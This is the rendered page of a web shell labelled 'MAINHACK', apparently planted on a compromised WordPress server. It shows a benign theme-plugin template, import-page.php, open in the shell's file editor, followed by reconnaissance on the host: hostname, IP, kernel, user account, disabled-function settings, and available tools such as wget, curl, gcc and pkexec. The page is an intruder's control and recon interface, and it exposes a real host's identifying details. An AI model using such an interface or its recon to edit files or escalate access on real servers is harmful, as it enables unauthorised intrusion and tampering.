[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: import-page.php
<?php /** * @Template: Import demo page * @version: 1.0.0 * @author: Case-Themes * @descriptions: Display for import demo page in Dashboard framework */ $demo_list = ct_ie()->get_all_demo_folder(); $current_demo_installed = get_option('ct_ie_demo_installed', ''); $path = ct_ie()->theme_dir; $url = ct_ie()->theme_url; $_search = array('M','G','K','m','g','k'); $memory_limit = (int)str_replace($_search, [], ini_get("memory_limit")); $max_time = (int)ini_get("max_execution_time"); $max_time_text = $max_time === 0 ? 'unlimit' : $max_time; $post_max_size = (int)str_replace($_search, [], ini_get('post_max_size')); $php_ver = PHP_VERSION; $_notice = ($memory_limit < 128 || ($max_time < 60 && $max_time !==0 )|| $post_max_size < 32) ? 'ct-ie-warning' : 'ct-ie-good'; ?> <div class="wrap"> <div class="ct-ie-dashboard"> <div class="ct-field-info <?php echo esc_attr($_notice); ?>"> <table class="ct-server-info"> <tr> <th><?php esc_html_e('PHP Version:', CTI_TEXT_DOMAIN); ?></th> <td><i class="dashicons dashicons-yes" style="color: #31f531"></i></td> <td style="color: #0d880b"><?php echo esc_html($php_ver); ?></td> </tr> <tr> <th><?php esc_html_e('Memory Limit:', CTI_TEXT_DOMAIN) ?></th> <?php if ($memory_limit >= 128): ?> <td><i class="dashicons dashicons-yes" style="color: #31f531"></i></td> <td style="color: #0d880b"><?php echo sprintf(esc_html__('Currently: %s (Mb)', ''), $memory_limit); ?></td> <?php else: ?> <td><i class="dashicons dashicons-no" style="color: red"></i></td> <td style="color: red"><?php echo sprintf(esc_html__('Currently: %s (the minimum required 128M)', ''), $memory_limit); ?></td> <?php endif; ?> </tr> <tr> <th><?php esc_html_e('Max. Execution Time:', CTI_TEXT_DOMAIN) ?></th> <?php if ($max_time >= 60 || $max_time === 0): ?> <td><i class="dashicons dashicons-yes" style="color: #31f531"></i></td> <td style="color: #0d880b"><?php echo sprintf(esc_html__('Currently: %s (s)', ''), $max_time_text); ?></td> <?php else: ?> <td><i class="dashicons dashicons-no" style="color: red"></i></td> <td style="color: red"><?php echo sprintf(esc_html__('Currently: %ss (the minimum required 60s)', ''), $max_time_text); ?></td> <?php endif; ?> </tr> <tr> <th><?php esc_html_e('Max. Post Size:', CTI_TEXT_DOMAIN) ?></th> <?php if ($post_max_size >= 32): ?> <td><i class="dashicons dashicons-yes" style="color: #31f531"></i></td> <td style="color: #0d880b"><?php echo sprintf(esc_html__('Currently: %s (Mb)', ''), $post_max_size); ?></td> <?php else: ?> <td><i class="dashicons dashicons-no" style="color: red"></i></td> <td style="color: red"><?php echo sprintf(esc_html__('Currently: %s (the minimum required 32M)', ''), $post_max_size); ?></td> <?php endif; ?> </tr> </table> <div class="ct-advance-options"> <ul class="ct-options"> <li class="ct-show-manual-import"><span class="dashicons dashicons-media-spreadsheet"></span><?php echo esc_html__("Manual Import", CTI_TEXT_DOMAIN) ?> </li> <li class="ct-show-regenerate-thumbnail"><span class="dashicons dashicons-images-alt"></span><?php echo esc_html__("Regenerate Thumbnails", CTI_TEXT_DOMAIN) ?> </li> <li class="ct-advance-reset"><span class="dashicons dashicons-update"></span><?php echo esc_html__("Reset Site", CTI_TEXT_DOMAIN) ?> </li> </ul> <span class="dashicons dashicons-admin-generic"></span> <form method="post" class="ct-reset-form-advance" style="display: none"> <?php wp_nonce_field('ct-reset', '_wp_nonce'); ?> <input type="hidden" name="action" value="ct-reset"> </form> <form method="post" class="ct-regenerate-thumbnail-sm" style="display: none"> <input type="hidden" name="action" value="ct-regenerate-thumbnails"> </form> </div> <?php include_once ct_ie()->plugin_dir . 'templates/manual-import-template.php'; ?> </div> <div class="ct-import-notice"> Important: Please back up the content on your site before importing demo data. When you import demo data, the demo content will be overwritten on your site. <b>All old content on your site will be lost</b>. Thanks! </div> <div class="ct-import-demos"> <div class="ct-import-contains"> <?php if (!empty($demo_list)): foreach ($demo_list as $demo): $file_demo_info = $path . $demo . '/demo-info.json'; $demo_installed = $current_demo_installed === $demo ? true : false; if (file_exists($file_demo_info)): $info_demo = json_decode(file_get_contents($file_demo_info), true); ?> <form method="post" class="ct-ie-demo-item" data-demo="demo-<?php echo $demo ?>" id="demo-<?php echo $demo ?>"> <div class="ct-ie-item-inner"> <div class="ct-ie-image"> <img src="<?php echo $url . $demo . '/screenshot.png' ?>" alt=""> <a class="ct-ie-preview" href="<?php echo esc_attr($info_demo['link']) ?>" target="_blank"> <span><?php esc_html_e('View Demo', CTI_TEXT_DOMAIN) ?></span> </a> </div> <div class="ct-ie-meta"> <h4 class="ct-ie-demo-title"><?php echo esc_attr($info_demo['name']) ?></h4> <input type="hidden" name="ct-ie-id" value="<?php echo esc_attr($demo) ?>"> <input type="hidden" name="action" value="ct-import"> <?php if($demo_installed === false) : ?> <button class="ct-import-btn ct-import-submit button button-primary" name="ct-import-submit" value="<?php echo base64_encode($demo) ?>"> <?php echo esc_html__('Import Demo', CTI_TEXT_DOMAIN); ?> </button> <?php endif; ?> </div> <div class="ct-loading" style="display: none"> <span class="ct-pinner"><span class="fa fa-spinner fa-spin"></span></span> </div> </div> </form> <?php endif; endforeach; else: ?> <div class="ct-ie-demo-empty"> <span class="dashicons dashicons-warning"></span> <h4 class="ct-ie-notice-empty"><?php echo esc_html__('Demos data is empty') ?></h4> </div> <?php endif; ?> </div> </div> <?php if (!empty($export_mode)) { include_once ct_ie()->plugin_dir . 'templates/export-page.php'; } ?> </div> </div>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.63 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002